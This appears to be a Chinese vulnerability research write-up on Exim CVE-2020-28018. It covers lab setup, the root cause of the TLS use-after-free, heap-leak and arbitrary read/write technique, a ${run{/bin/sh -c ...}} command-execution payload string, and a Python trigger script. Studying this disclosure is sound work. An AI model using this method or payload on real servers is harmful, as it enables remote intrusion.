作者:Hcamael@知道創宇404實驗室
時間:2021年6月1日

前段時間Exim突然出現了好多CVE[1],隨后沒多久Github上也出現了對CVE-2020-28018進行利用最后達到RCE的EXP和利用思路[2]。隨后我也對該漏洞進行復現分析。

概述

經過一段時間的環境搭建,漏洞復現研究后,發現該漏洞的效果是很不錯的,基本能在未認證的情況下穩定利用。但限制也很多:

  1. 要求服務端開啟PIPELINING
  2. 要求服務端開啟TLS,而且還是使用openssl庫
  3. EXP不能通殺

第一點還好,大部分都是默認開啟的。但是第二點比較困難,因為我測試的兩個系統debian/ubuntu,默認都是使用GnuTLS而不是OpenSSL。所以搭建環境的時候需要重新編譯deb包。

第三點,測試debian和ubuntu的exp相差還是比較大的,不過后續研究發現是版本問題,如果不嫌麻煩,可以研究研究通殺的方法。Github公開的那個EXP不太行,我測試的兩個版本都沒戲,離能用的exp還相差比較多,當成探測的PoC還差不多。

環境搭建

先給一份Dockerfile:

FROM ubuntu:18.04

RUN sed -i "s/archive.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN sed -i "s/security.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt update

RUN mkdir /root/exim4

COPY *.deb /root/exim4/
COPY *.ddeb /root/exim4/

RUN dpkg -i /root/exim4/*.deb || apt --fix-broken install -y
RUN dpkg -i /root/exim4/*.deb && dpkg -i /root/exim4/*.ddeb

RUN sed -i "s/127.0.0.1 ; ::1/0.0.0.0/g" /etc/exim4/update-exim4.conf.conf
RUN sed -i "1i\MAIN_TLS_ENABLE = yes" /etc/exim4/exim4.conf.template
COPY exim.crt /etc/exim4/exim.crt
COPY exim.key /etc/exim4/exim.key
COPY exim_start /exim_start
RUN update-exim4.conf && chmod +x /exim_start

CMD ["/exim_start"]

其中crtkey的生成腳本如下:

#!/bin/sh -e

if [ -n "$EX4DEBUG" ]; then
  echo "now debugging $0 $@"
  set -x
fi

DIR=/etc/exim4
CERT=$DIR/exim.crt
KEY=$DIR/exim.key

# This exim binary was built with GnuTLS which does not support dhparams
# from a file. See /usr/share/doc/exim4-base/README.Debian.gz
#DH=$DIR/exim.dhparam

if ! which openssl > /dev/null ;then
    echo "$0: openssl is not installed, exiting" 1>&2
    exit 1
fi

# valid for three years
DAYS=1095

if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then
  echo "[*] $CERT and $KEY exists!"
  echo "    Use \"$0 --force\" to force generation!"
  exit 0
fi

if [ "$1" = "--force" ]; then
  shift
fi     

#SSLEAY=/tmp/exim.ssleay.$$.cnf
SSLEAY="$(tempfile -m600 -pexi)"

cat > $SSLEAY <<EOM
RANDFILE = $HOME/.rnd
[ req ]
default_bits = 1024
default_keyfile = exim.key
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
countryName = Country Code (2 letters)
countryName_default = US
countryName_min = 2
countryName_max = 2
stateOrProvinceName = State or Province Name (full name)
localityName = Locality Name (eg, city)
organizationName = Organization Name (eg, company; recommended)
organizationName_max = 64
organizationalUnitName = Organizational Unit Name (eg, section)
organizationalUnitName_max = 64
commonName = Server name (eg. ssl.domain.tld; required!!!)
commonName_max = 64
emailAddress = Email Address
emailAddress_max = 40
EOM

echo "[*] Creating a self signed SSL certificate for Exim!"
echo "    This may be sufficient to establish encrypted connections but for"
echo "    secure identification you need to buy a real certificate!"
echo "    "
echo "    Please enter the hostname of your MTA at the Common Name (CN) prompt!"
echo "    "

openssl req -config $SSLEAY -x509 -newkey rsa:1024 -keyout $KEY -out $CERT -days $DAYS -nodes
#see README.Debian.gz*# openssl dhparam -check -text -5 512 -out $DH
rm -f $SSLEAY

chown root:Debian-exim $KEY $CERT $DH
chmod 640 $KEY $CERT $DH

echo "[*] Done generating self signed certificates for exim!"
echo "    Refer to the documentation and example configuration files"
echo "    over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS"
echo "    support in your mail transfer agent."

exim_start文件內容如下:

#!/bin/bash

/etc/init.d/exim4 start
/bin/bash

deb包的編譯方法如下所示(不僅僅是該Dockerfile,如果是使用debian環境,方法類似):

  1. debian從https://snapshot.debian.org/下載存在漏洞的exim源碼,ubuntu從https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa上面進行下載。

接下來的步驟都是假設在ubuntu系統中:

#!/bin/bash
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1.orig.tar.xz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.debian.tar.xz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.dsc
dpkg-source --no-check -x exim4_4.90.1-1ubuntu1.5.dsc

# /etc/apt/source.list 里面記得加上deb-src
apt-get build-dep exim4
apt-get install --no-install-recommends devscripts 

cd exim4-4.90.1
perl -i -pe 's/^\s*#\s*OPENSSL\s*:=\s*1/OPENSSL:=1/' debian/rules
dch -l +openssl 'rebuild with openssl'
debian/rules binary

漏洞分析

漏洞點

漏洞點位于tls-openssl.c文件的tls_write函數。

int
tls_write(BOOL is_server, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL *ssl = is_server ? server_ssl : client_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */

if (is_server && (more || corked))
  {
  corked = string_catn(corked, buff, len);
  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }
...
}

static gstring * corked = NULL;變量存在UAF漏洞。

該函數是一個在建立了TLS鏈接后,進行socket輸出的函數。

當參數more的值為True的時候,表示后續還有輸出,把當前的輸出存起來,等到more為False的時候,再進行輸出。之前的值存儲在corked這個staic變量里面。只有當進行TLS輸出的時候,才會把corked變量賦值為NULL,進行釋放。

審計一波代碼,把目光放在smtp_printf函數,基本都是靠該函數調用的tls_write函數。

Exim處理用戶輸入的主函數是smtp_in.c文件的smtp_setup_msg函數。

int
smtp_setup_msg(void)
{
......
# MAIL FROM
    if (rc == OK || rc == DISCARD)
      {
      BOOL more = pipeline_response();

      if (!user_msg)
        smtp_printf("%s%s%s", more, US"250 OK",
                  #ifndef DISABLE_PRDR
                    prdr_requested ? US", PRDR Requested" : US"",
                      #else
                    US"",
                  #endif
                    US"\r\n");
      else
        {
      #ifndef DISABLE_PRDR
        if (prdr_requested)
           user_msg = string_sprintf("%s%s", user_msg, US", PRDR Requested");
      #endif
        smtp_user_msg(US"250", user_msg);
        }
......
# RCPT TO
    if (rc == OK)
      {
      BOOL more = pipeline_response();

      if (user_msg)
        smtp_user_msg(US"250", user_msg);
      else
        smtp_printf("250 Accepted\r\n", more);
      receive_add_recipient(recipient, -1);
......

審計了一波函數,發現只有MAIL FROMRCPT TO指令處理成功后,并且開啟了PIPELINE,并且后續還有輸入的情況下,more才為TRUE。

單從上面說的這些看,這代碼好像沒啥問題。一開始我也看不出為啥這會造成UAF,隨后研究了一下Github上的EXP,步驟如下:

  1. EHLO xxxx # 建立TLS之前必須先EHLO
  2. STARTTLS
  3. EHLO xxxxx # MAIL FROM/RCPT TO之前必須先EHLO
  4. MAIL FROM # RCPT TO之前必須先MAIL FROM
  5. RCPT TO: <xxx>\nNO
  6. 關閉TLS信道,切換回明文信道
  7. OP\n
  8. 使用EHLO或者REST調用smtp_reset
  9. STARTTLS
  10. NOOP

最關鍵的在5,6,8步,下面堆這三步進行解釋:

5.. 必須要讓RCPT執行成功,所以可以發送RCPT TO: <postermaster>,處理完RCPT的時候,進入tls_write進行輸出,因為more等于1,所以會把成功的輸出字符串250 Accept\r\n儲存到corked變量中。隨后處理剩下的字符NO,因為沒接收到回車,所以繼續等待輸出。

6.. 但是這個時候我們把TLS信道關閉,切換回明文信道,但是卻不會調用smtp_reset,把tls用的堆比如corked給釋放掉。因為進入了明文信道,隨后的輸出就不會再調用tls_write函數了。

8.. 比如我們調用EHLO xxx,后續將會調用smtp_reset函數,變量corked指向的堆將會被回收。但是corked的值卻不會被設置為NULL。隨后我們再次切換到TLS信道,隨便輸入一個命令,將會調用tls_write進行輸出,這個時候corked不為空,但是其指向的堆卻已經被釋放。所以這就造成了UAF漏洞。

RCE利用思路

利用思路還是跟這篇文章寫的一樣[3],大致分為3步:

  1. 利用漏洞泄漏出堆地址。
  2. 泄漏出堆地址后,在堆上搜索字符串acl_check_mail的位置。
  3. 利用任意寫把上面的字符串替換成:acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})

其中最難的是第一步,利用UAF漏洞泄漏出任意堆地址。或者說這步是影響通殺的地方,后續的步驟我測試了兩個版本,都可以用一個代碼通殺,但是第一步還是沒辦法。

UAF利用思路

這里就來具體說說利用UAF進行堆泄漏的過程,不知道是不是我環境問題(我感覺環境沒錯),Github上的exp,是沒辦法進行堆泄漏的。所以后面我花了很長一段時間在研究/調試堆,所以后續我就按照自己的思路進行講解。

前面固定步驟:

  1. EHLO x
  2. STARTTLS
  3. EHLO x

接下來就有區分度了:

  1. 一次性發送MAIL FROM: <>\n + RCPT TO: <postmaster> * n + "NO"
  2. 先發送MAIL FROM: <>\n,在發送RCPT TO: <postmaster> * n + "NO"

不同的方式可以控制corked地址的高低,但只能控制高低,卻不能進行微調。

沒有進行過多次測試,但是我估計n在exim 4.92+上必須小于9。

理由如下:

corked是使用string_catn函數進行堆分配的,所以是在第一次字符串長度的基礎上加上127,因為要求MAIL和RCPT必須要成功,所以返回不是250 Accepted\r\n就是250 OK\r\n,長度都是在0x10以內,所以申請下來的堆長度基本是0x10字符串結構的頭部 + 0x80 + 0x10 = 0x100,所以當n的值過大的時候,會根據新的長度進行新的堆分配申請。

在RCPT請求中,會調用string_sprintf函數,我們來比較一下在exim4.90exim4.92中這個函數的區別:

#define STRING_SPRINTF_BUFFER_SIZE (8192 * 4)

# exim 4.90
uschar *
string_sprintf(const char *format, ...)
{
va_list ap;
uschar buffer[STRING_SPRINTF_BUFFER_SIZE];
va_start(ap, format);
if (!string_vformat(buffer, sizeof(buffer), format, ap))
  log_write(0, LOG_MAIN|LOG_PANIC_DIE,
    "string_sprintf expansion was longer than " SIZE_T_FMT
    "; format string was (%s)\nexpansion started '%.32s'",
    sizeof(buffer), format, buffer);
va_end(ap);
return string_copy(buffer);
}

uschar *
string_copy(const uschar *s)
{
int len = Ustrlen(s) + 1;
uschar *ss = store_get(len);
memcpy(ss, s, len);
return ss;
}

# exim 4.92

uschar *
string_sprintf(const char *format, ...)
{
#ifdef COMPILE_UTILITY
uschar buffer[STRING_SPRINTF_BUFFER_SIZE];
gstring g = { .size = STRING_SPRINTF_BUFFER_SIZE, .ptr = 0, .s = buffer };
gstring * gp = &g;
#else
gstring * gp = string_get(STRING_SPRINTF_BUFFER_SIZE);
#endif
gstring * gp2;
va_list ap;

va_start(ap, format);
gp2 = string_vformat(gp, FALSE, format, ap);
gp->s[gp->ptr] = '\0';
va_end(ap);

if (!gp2)
  log_write(0, LOG_MAIN|LOG_PANIC_DIE,
    "string_sprintf expansion was longer than %d; format string was (%s)\n"
    "expansion started '%.32s'",
    gp->size, format, gp->s);

#ifdef COMPILE_UTILITY
return string_copy(gp->s);
#else
gstring_reset_unused(gp);
return gp->s;
#endif
}

我最開始測試的就是exim4.92,默認是沒有定義COMPILE_UTILITY。所以在這個版本中,每調用一次sprintf_smpt就得store_get_3(0x8000),分配賦值之后,根據具體長度,調整next_yieldyield_length。但是隨后測試的ubuntu18.04,用的就是exim4.90,也就是使用多少分配多少。

這里簡單說一下exim中的堆管理,如果理解不了,請閱讀store_get_3源碼 其實只要關注3個全局變量就好了: current_block/next_yield/yield_length 每次申請內存,都會和yield_length進行比較,如果小于,那就直接分配從next_yiled開始的堆,current_block是當前大堆(malloc的堆)地址,也就是yield_length + (next_yield-current_block) == current_block.length 如果請求的堆大于yield_length,則重新向malloc申請新的堆塊,堆塊的最小長度為0x4000,最大程度為申請的長度。舊堆塊則會被放入chainbase,除非被釋放,要不然是不會再被使用了。

如果n的值過大,因為之前有多個RCPT,則會調用多個sprintf_smpt,那么就會調用非常多個store_get_3(0x8000),這個時候堆布局將會被拉扯的非常大非常大,那這個時候string_catn申請的新堆塊將會在非常后面。

在我實際測試的過程中發現,當調用smtp_reset的時候,過大的堆都會在內存中被釋放。也就是該地址變為了不可訪問的地址。在EXP的表現就會變為在最后NOOP的時候,程序會crash。

因為exim處理請求都是fork出來的子進程處理的,就是crash了。也不影響主進程,所以沒啥用,連dos都做不到。

到這里為止,我們主要是對corked的地址進行選擇(選擇題,感覺是沒法變為填空題)。

接下來:

  1. 關閉TLS信道,進入明文信道
  2. 發送OP\n,得到OK\r\n的返回

接下來又有多種選擇:

有以下幾種命令可以調用:

  • EHLO/HELO xxxx 都能調用smtp_reset
  • RESET 也是用來調用smtp_reset的
  • MAIL FROM 在reset后必須跟EHLO才能MAIL FROM
  • RCPT TO 必須先MAIL FROM
  • \xFF * n 發送n個無效命令
  • DATA

順序啥的都是自己自由調整,但是最開始最好得有一個調用reset的命令,因為這樣才能讓corked的堆進入釋放的狀態,后續我們才能用其他命令覆蓋該堆地址的內容。

具體順序各位可以自己自行調整,答案不唯一。我就分享一下我的經驗:

因為我們的目的是泄漏出堆地址,所以我們得讓堆地址出現在corked的有效區域內,這個時候就有兩種方法:

  1. 調用string_get這類有指針函數的結構,不過我在調試的過程中只找到這一個。該結構的首地址必須要高于corked,這樣輸出corked的時候,就能把這個結構的指針泄漏出來。
  2. 修改corked->ptr的大小,只要變的足夠大,總能泄漏出堆地址。

Github的exp使用的是第一種方法,但是我使用的是第二種方法。

因為在我的研究中,好像做不到第一種情況,如果要做到第一種情況,會把corked的指針覆蓋掉,所以就算在后面寫了指針也沒用。

不過后面研究exim4.90的時候猜測,也許Github的環境是設置了COMPILE_UTILITY

在這個時候,不會有一堆store_get_3(0x8000)搗亂,那么當string_catn擴展堆的時候,堆指針和指針指向的值就不連續了,這樣在覆蓋值的時候就不會影響到指針了。

(:不過這都不重要了,反正我也研究出了思路2的exp。

思路2可以找一個命令,這個命令最后一個分配的堆塊有可控的命令。比如我找的就是RCPT TO,可以這樣構造:RCPT TO: <a*x@b*n\x20\\x1f>

目的是要把corked->ptr設置為0x4120, 這樣就能泄漏出0x4120長度的字符串了。基本上會存在堆地址的,如果不存在,就是你的ptr不夠大。不過這里要注意,ptr+字符串指針,別超出有效地址范圍。


說完了UAF利用,能泄漏出堆地址后,你就踏出了最重要的一步,比如研究堆泄漏需要花你90%的時間,那研究任意讀和任意寫只要花5%的時間。

任意讀就很簡單了,把Github的拿出來改改大部分都能用。思路就是堆噴,噴到corked的結構上,把字符串指針改成你想泄漏的地址。長度也就隨便改改,比如0x1000。如果沒噴上,就調試一下,搜一下噴上的地址區間,然后在改改最開始的poc,讓corked的地址湊上去,湊不上去,就是你噴的不夠大,只要足夠大,總能湊上去的。

因為噴的數據有不可顯字符,所以也只能用DATA命令來進行堆噴了。

而任意寫前面和任意讀一樣,都是通過堆噴,覆蓋corked的內容到你想寫的地址。但是最后有一點不一樣,使用的是MAIL FROM: cmd,這樣tls_write將會輸出501 cmd: missing or malformed local part (expected word or \"<\")\r\n

然后會調用string_catncorked指向的地址寫入上述的字符串。

因為用了堆噴,所以我覺得任意讀和任意寫的代碼是可以通殺的。

最后的RCE思路,以前的exim就出現過了,就是利用acl_check函數,調用expand_string來進行命令執行。

在調用MAIL FROM的時候,acl_check會調用expand_string("acl_check_mail"),所以我們可以堆上搜索這個字符串的位置,把該值換成我們想執行的命令,最后讓它變成調用expand_string("acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})"),這樣在最后把NOOP換成MAIL FROMM,就能RCE了。

最后分享一個探測腳本吧:

def _verify(self):
        result = {}
        self.normalize_url()
        # To establish socket
        socket.setdefaulttimeout(5)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((self.ip, self.port))
        # To establish ssl
        context = ssl._create_unverified_context()
        # check server
        header = sock.recv(1024)
        while True:
            if b"ESMTP Exim 4.9" not in header:
                break
            sock.send(b"EHLO hh\r\n")
            data = sock.recv(1024)
            if b"250-STARTTLS\r\n" not in data or b"250-PIPELINING" not in data:
                break
            sock.send(b"STARTTLS\r\n")
            data = sock.recv(1024)
            if b"220 TLS go ahead" not in data:
                break
            tls_s = context.wrap_socket(sock, server_hostname=self.ip)
            # TLS mode
            tls_s.send(b"EHLO hh\r\n")
            data = tls_s.recv(1024)
            if b"HELP\r\n" not in data:
                break
            tls_s.send(b"MAIL FROM: <>\r\n")
            data = tls_s.recv(1024)
            if b"OK\r\n" not in data:
                break
            rcpt_data1 = b"RCPT TO: <postmaster>\r\n"
            for i in range(6):
                rcpt_data1 += b"RCPT TO: <postmaster>\r\n"
            rcpt_data1 += b"NO"
            tls_s.send(rcpt_data1)
            socket.setdefaulttimeout(1)
            try:
                tls_s.unwrap()
            except socket.timeout:
                pass
            socket.setdefaulttimeout(5)
            tls_s._sslobj = None
            # plaintext mode
            sock = tls_s
            sock.send(b"OP\r\n")
            data = sock.recv(1024)
            if b"OK\r\n" not in data:
                break
            sock.send(b"EHLO hh\r\n")
            data = sock.recv(1024)
            if b"HELP\r\n" not in data:
                break
            sock.send(b"STARTTLS\r\n")
            data = sock.recv(1024)
            if b"220 TLS go ahead" not in data:
                break
            tls_s = context.wrap_socket(sock, server_hostname=self.ip)
            # TLS mode
            tls_s.send(b"NOOP\r\n")
            # fd.interactive()
            data = tls_s.recv(1024)
            if b"250 Accepted" in data:
                result["VerifyInfo"] = {}
                result['VerifyInfo']["Target"] = self.ip
                result['VerifyInfo']["Port"] = self.port
                result['VerifyInfo']["INFO"] = header
            break
        return self.parse_output(result)

提權

已經有提權的EXP了,Debian-exim用戶通過寫/etc/passwd來進行提權。

最后分享一下RCE + 提權的效果圖:

其他

復現這個漏洞,最花時間的還是在調試泄漏的堆上,其次就是折騰環境。再下來就是折騰python進行TLS wrap的問題了。

遇到一個坑點,在debian上,調用ssl.unwrap沒問題,但是在ubuntu上就會卡死。

搜了半天在網上沒找到答案,最后使用strace進行調試,發現python在unwrap后估計還在等服務器回應,但是服務器不會,所以IO就卡住了。但是這個時候只要客戶端發送一個SHUTDOWN包,就能結束TLS信道,切換回明文信道了。

所以只要在調用unwrap的時候設置一個超時就好了。如果是寫C的就沒這些煩惱了。

期間還嘗試了直接用python調用C的API,可以是可以,但是太麻煩了。

這里簡單的分享一下,用python調用C的SSL API:

from cryptography.hazmat.bindings.openssl.binding import Binding
binding = Binding()
lib = binding.lib
_FFI = binding.ffi
no_zero_allocator = _FFI.new_allocator(should_clear_after_alloc=True)

lib.SSL_library_init()
lib.OpenSSL_add_all_algorithms()
lib.SSL_load_error_strings()
method = lib.TLSv1_2_client_method()
ctx = lib.SSL_CTX_new(method)
tls_s = lib.SSL_new(ctx)
lib.SSL_set_fd(tls_s, sock.fileno())
lib.SSL_set_connect_state(tls_s)
ret = lib.SSL_do_handshake(tls_s)
# pause()
if ret:
    ret = lib.SSL_write(tls_s, b"HELP\r\n", 6)
    if ret >= 0:
        buf = no_zero_allocator("char []", 0x1000)
        ret = lib.SSL_read(tls_s, buf, 0x1000)
        data = _FFI.buffer(buf, ret)
        print(data[:])
lib.SSL_shutdown(tls_s)

UPDATE 2021/06/03

因為想看看該漏洞的影響情況,所以簡單找了1w的目標進行無損探測了一波,結果如下:

成功率非常低,不過在預期之中。隨后又對這成功的61個目標進行了研究,發現這61個目標都是CentOS系統,所以我把目光放到了CentOS上。

我發現CentOS的默認源中,不存在exim包,需要添加epel源,才能安裝exim。

經過多次測試研究發現,在CentOS7上,非最新版(大概低了一個版本)exim 4.92.3存在漏洞,可以成功RCE。

在CentOS8上,exim 4.93也測試成功,同樣不是最新版。

下面給一個CentOS7的Dockerfile:

FROM centos:centos7

RUN yum update -y && yum install -y epel-release wget
RUN wget https://kojipkgs.fedoraproject.org//packages/exim/4.92.3/1.el7/x86_64/exim-4.92.3-1.el7.x86_64.rpm
RUN yum install -y exim-4.92.3-1.el7.x86_64.rpm

COPY exim.crt /etc/pki/tls/certs/exim.pem
COPY exim.key /etc/pki/tls/private/exim.pem
COPY exim_start /exim_start
RUN chmod +x /exim_start

CMD ["/exim_start"]

總結了一下我測試成功的機器:

  • Debian 10 exim 4.92
  • ubuntu 18.04 exim 4.90
  • CentOS7 exim 4.92
  • CentOS8 exim 4.93

我發現在同一個版本中,即使是不同機器,是可以寫出通用的exp的,同一個機器,不同版本,exp是不一樣的,而且差距都比較大。

參考鏈接

  1. https://www.qualys.com/2021/05/04/21nails/21nails.txt
  2. https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2020-28018
  3. https://adepts.of0x.cc/exim-cve-2020-28018/

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1595/